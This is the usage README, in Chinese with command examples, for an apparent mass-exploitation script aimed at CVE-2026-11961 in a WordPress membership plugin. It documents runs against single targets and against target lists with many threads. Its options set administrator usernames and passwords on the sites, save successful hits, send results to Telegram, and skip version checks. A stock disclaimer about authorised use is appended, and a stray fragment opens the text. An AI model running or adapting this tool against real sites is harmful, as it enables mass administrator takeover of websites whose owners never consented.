针对影响 WordPress User Registration & Membership 插件的 CVE-2026-11961 的大规模利用工具。
--force)# Show help
python3 mass.py -h
# Single target
python3 mass.py -u https://target.com
# Single target with custom credentials
python3 mass.py \
-u https://target.com \
--username admin \
--password "StrongPassword123!"
# Multiple targets
python3 mass.py -l targets.txt -t 20
# Save successful results
python3 mass.py -l targets.txt -o results.jsonl
# Write log file
python3 mass.py -l targets.txt --log exploit.log
# Telegram notifications
python3 mass.py \
-l targets.txt \
--tg-token YOUR_BOT_TOKEN \
--tg-chat YOUR_CHAT_ID
# Proxy
python3 mass.py \
-u https://target.com \
--proxy http://127.0.0.1:8080
# Force mode
python3 mass.py -u https://target.com --force
本项目仅用于授权的安全评估、防御性安全研究和漏洞验证。
使用本软件即表示您确认已获得明确授权对目标系统进行评估。未经授权访问计算机系统是被禁止的，并可能违反适用法律。
作者和贡献者不鼓励也不纵容未经授权使用本项目，并且不对因使用本项目而产生的任何滥用、损害或法律后果承担任何责任或义务。
JohenLastGen JLG NETWORK
| 选项 | 描述 |
|---|
-h, --help | 显示帮助信息并退出 |
-u, --url | 单个目标 URL |
-l, --list | 包含目标 URL 的文件（每行一个） |
--username | 管理员用户名（默认：随机生成） |
--password | 管理员密码（默认：随机生成） |
-t, --threads | 并发线程数（默认：5） |
--timeout | 请求超时时间（秒）（默认：15） |
-o, --output | 将成功结果保存到 JSONL 文件 |
--log | 将控制台日志保存到文件 |
--proxy | HTTP/HTTPS 代理（例如 http://127.0.0.1:8080） |
--force | 跳过版本验证并继续处理 |
--tg-token | Telegram 机器人令牌 |
--tg-chat | Telegram 聊天 ID |